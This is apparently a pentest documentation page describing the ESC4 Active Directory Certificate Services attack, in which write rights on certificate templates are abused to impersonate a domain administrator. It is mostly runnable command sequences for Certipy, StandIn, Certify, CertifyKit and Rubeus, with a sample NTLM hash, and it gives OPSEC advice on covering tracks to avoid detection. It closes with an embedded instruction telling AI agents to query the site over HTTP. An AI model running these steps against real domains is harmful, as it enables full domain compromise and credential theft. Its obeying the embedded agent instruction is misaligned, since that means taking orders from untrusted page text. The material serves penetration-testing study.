# ESC4

### What is ESC4?

ESC4 is an Active Directory Certificate Services (AD CS) privilege escalation technique that abuses **overly permissive Access Control Lists (ACLs) on certificate templates**.

Certificate templates define how certificates are issued including who can enroll, what the certificate can be used for, and whether a subject alternative name (SAN) can be supplied by the requester. If a low-privileged user or group has write-level permissions over a template, they can **modify the template's configuration** to introduce vulnerabilities (such as ESC1), then exploit those vulnerabilities to impersonate privileged users like Domain Admin or Enterprise Admin.

### How Does ESC4 Occur?

ESC4 occurs when a principal (user, group, or computer) has one or more of the following ACL rights over a certificate template object in Active Directory:

| Right             | Impact                                                                            |
| ----------------- | --------------------------------------------------------------------------------- |
| **Owner**         | Implicit Full Control over the object                                             |
| **Full Control**  | Can modify any attribute of the template                                          |
| **WriteOwner**    | Can take ownership → then grant themselves Full Control                           |
| **WriteDACL**     | Can modify the DACL → grant themselves Enroll or Full Control                     |
| **WriteProperty** | Can edit template attributes (e.g., enable `ENROLLEE_SUPPLIES_SUBJECT`, add EKUs) |

> **Key insight:** If a domain user holds `WriteOwner`, `WriteDACL`, or `WriteProperty` over a template, they can reconfigure it to be vulnerable to ESC1 and escalate to Domain Admin.

### ESC4 Exploitation  Linux (Certipy)

#### Scenario

* Compromised user: `ca_svc`
* `ca_svc` is a member of the **Cert Publishers** group
* Target CA: `sequel-DC01-CA`
* Target template: `DunderMifflinAuthentication`

#### Step 1  Enumerate Vulnerable Templates

```bash
certipy find -vulnerable \
  -u ca_svc@sequel.htb \
  -hashes 3b181b914e7a9d5508ea1e20bc2b7fce \
  -dc-ip 10.129.232.128 \
  -stdout
```

Look for templates where your user or group appears under `Object Control Permissions`. Key fields to check:

```bash
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
Object Control Permissions
  Owner                : SEQUEL.HTB\Enterprise Admins
  Full Control         : SEQUEL.HTB\Domain Admins
                         SEQUEL.HTB\Enterprise Admins
                         SEQUEL.HTB\Cert Publishers     ← ca_svc is here
  Write Owner          : SEQUEL.HTB\Cert Publishers
  Write Dacl           : SEQUEL.HTB\Cert Publishers
  Write Property       : SEQUEL.HTB\Domain Admins
                         SEQUEL.HTB\Enterprise Admins
```

<figure><img src="/files/96ke34xAoMBOeNd5qmtZ" alt=""><figcaption></figcaption></figure>

Since `ca_svc` is a member of **Cert Publishers**, which has **Full Control**, `Write Owner`, and `Write Dacl` over the template  ESC4 applies.

#### Step 2  Modify the Template to Introduce ESC1

Because `ca_svc` has Full Control over the template, use `certipy template` to reconfigure it with ESC1 vulnerable settings (enables `ENROLLEE_SUPPLIES_SUBJECT` and sets the required EKUs):

```bash
certipy template \
  -u ca_svc@sequel.htb \
  -hashes 3b181b914e7a9d5508ea1e20bc2b7fce \
  -template DunderMifflinAuthentication \
  -write-default-configuration \
  -no-save
```

<figure><img src="/files/dnxYgxuIzTBmYQKLttp6" alt=""><figcaption></figcaption></figure>

{% hint style="info" icon="check" %}
`-write-default-configuration` enables `ENROLLEE_SUPPLIES_SUBJECT` and configures `Client Authentication` EKU making the template ESC1-vulnerable.\
`-no-save` skips saving a backup of the original configuration (omit this flag in real engagements to preserve the ability to restore).
{% endhint %}

#### Step 3  Request a Certificate as Administrator

```bash
certipy req \
  -u ca_svc@sequel.htb \
  -hashes 3b181b914e7a9d5508ea1e20bc2b7fce \
  -ca sequel-DC01-CA \
  -template DunderMifflinAuthentication \
  -upn administrator@sequel.htb
```

This requests a certificate with the SAN set to `administrator@sequel.htb`, which will be saved as `administrator.pfx`.

<figure><img src="/files/fxjYhw30FkH2z5JXs1HW" alt=""><figcaption></figcaption></figure>

#### Step 4  UnPAC the Hash | Authenticate as Administrator

```
certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128
```

<figure><img src="/files/vJhc3M5RqZMPdBSfXyKT" alt=""><figcaption></figcaption></figure>

This performs PKINIT authentication and returns the administrator's NTLM hash and a TGT.

### ESC4 Exploitation : Windows (StandIn + Certify)

#### Scenario

* Compromised user is a member of a group (e.g., `certstore`) with write-level ACL rights over the `SecureUpdate` template.

#### Step 1  Enumerate Templates and PKI ACLs

List all certificate templates:

```
certify.exe find /templates
```

Enumerate PKI object ACLs:

```
Certify.exe pkiobjects
```

<figure><img src="/files/zlWkselvBRn56Qas9g5z" alt=""><figcaption></figcaption></figure>

Inspect the ACL on a specific template:

```
StandIn_v14_Net45.exe --adcs --filter SecureUpdate
```

<figure><img src="/files/D7IXByrWjy2suEtG9EwC" alt=""><figcaption></figcaption></figure>

Confirm that our user holds rights such as `ReadProperty`, `WriteProperty`, `WriteDACL`, `WriteOwner`, or `GenericExecute`.

#### Step 2  Enable `ENROLLEE_SUPPLIES_SUBJECT`

This flag allows the certificate requester to specify any SAN (Subject Alternative Name), enabling impersonation:

```
StandIn_v13_Net45.exe --adcs --filter SecureUpdate --ess --add
```

#### Step 3  Add Enrollment Rights

Grant your controlled user the right to enroll in the template. Target the specific user or group you control  avoid adding `Domain Users` unnecessarily to reduce noise:

```
StandIn_v13_Net45.exe --adcs --filter SecureUpdate --ntaccount "DOMAIN\certstore" --enroll --add
```

#### Step 4  Add Client Authentication EKU

The template needs `Client Authentication` EKU to be used for PKINIT/Kerberos authentication:

```
StandIn_v13_Net45.exe --adcs --filter SecureUpdate --clientauth --add
```

#### Step 5  Verify Changes

```
Certify.exe find /enrolleeSuppliesSubject
```

<figure><img src="/files/Pr99hCorloyx8V7EHfxg" alt=""><figcaption></figcaption></figure>

Confirm the template now has `ENROLLEE_SUPPLIES_SUBJECT` set and that our user has enrolment rights.

#### Step 6  Retrieve the Domain SID (for SID Extension Bypass)

The SID extension (`/sidextension`) is required to bypass the **StrongCertificateBindingEnforcement** patch (KB5014754). Get your domain SID:

```
Get-ADDomain | Select-Object DomainSID
```

Or from a compromised host:

```
whoami /user
```

Strip the last RID to get the domain SID (e.g., `S-1-5-21-XXXX-XXXX-XXXX`).

#### Step 7  Request a Certificate as Administrator

```cmd
Certify.exe request /ca:DC01.domain.com\domain-DC01-CA /template:SecureUpdate /altname:administrator /domain:domain.com /sidextension:S-1-5-21-<SNIP>
```

#### Step 8 — Convert PEM to PFX

```cmd
openssl pkcs12 \
  -in esc4.pem \
  -inkey esc4.key \
  -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export \
  -out esc4.pfx
```

> Set a password when prompted  you'll need it for Rubeus.

#### Step 9  Request a TGT with Rubeus

```
Rubeus.exe asktgt /user:administrator /domain:domain.com /certificate:esc4.pfx /password:<pfx-password> /dc:dc01.domain.com /nowrap /ptt
```

`/ptt` injects the TGT directly into the current logon session.

#### Step 10  Lateral Movement

```
winrs -r:dc01.domain.com cmd.exe
```

### Alternative Abuse  Smart Card Logon EKU

ESC4 is not limited to the `Client Authentication` EKU. Other EKUs that allow authentication and can be abused include:

| EKU                              | Notes                                             |
| -------------------------------- | ------------------------------------------------- |
| **Client Authentication**        | Standard method; supported by StandIn and Certipy |
| **Smart Card Logon**             | Can be used to abuse ESC1/ESC2/ESC3 as well       |
| **PKINIT Client Authentication** | Direct Kerberos PKINIT abuse                      |
| **Any Purpose**                  | Matches any intended use                          |
| **No EKU**                       | Treated as Any Purpose in some configurations     |

> StandIn and Certipy currently only support adding the `Client Authentication` EKU for ESC1 abuse. To use `Smart Card Logon`, use **CertifyKit** with the `/alter` flag.

#### Smart Card Logon ESC4 Abuse (CertifyKit)

**Add `ENROLLEE_SUPPLIES_SUBJECT`:**

```
StandIn_v13_Net45.exe --adcs --filter SecureUpdate --ess --add
```

**Add enrollment rights:**

```
StandIn_v13_Net45.exe --adcs --filter SecureUpdate --ntaccount "DOMAIN\certstore" --enroll --add
```

**Request certificate using `/alter` (configures Smart Card Logon EKU at request time):**

```
CertifyKit.exe request /ca:DC01.domain.com\CB_CA /template:SecureUpdate /altname:administrator /domain:domain.com /alter /sidextension:S-1-5-21-<SNIP>
```

Save output as `esc4-smartcard.pem`, then convert:

```
openssl pkcs12 \
  -in esc4-smartcard.pem \
  -inkey esc4-smartcard.key \
  -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export \
  -out esc4-smartcard.pfx
```

Then authenticate with Rubeus as shown in Step 9 above.

### OPSEC Considerations

After exploitation, **restore the template to its original configuration** to avoid detection and minimize impact:

* **Remove** the `ENROLLEE_SUPPLIES_SUBJECT` flag
* **Remove** any enrollment rights you added
* **Restore** the original EKUs if modified

With Certipy (omit `-no-save` during the modify step to preserve a backup, then restore):

```
certipy template \
  -u ca_svc@sequel.htb \
  -hashes <hash> \
  -template DunderMifflinAuthentication \
  -configuration <saved-backup.json>
```

With StandIn, reverse each `--add` operation with `--remove`.

### References

* <https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc4/>
* <https://medium.com/r3d-buck3t/adcs-attack-series-abusing-esc4-via-template-acls-for-privilege-escalation-98320f0da59a>
* [Certipy by ly4k](https://github.com/ly4k/Certipy)
* [StandIn by FuzzySecurity](https://github.com/FuzzySecurity/StandIn)
* [SpecterOps — Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/active-directory-certificate-services-ad-cs/esc4.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
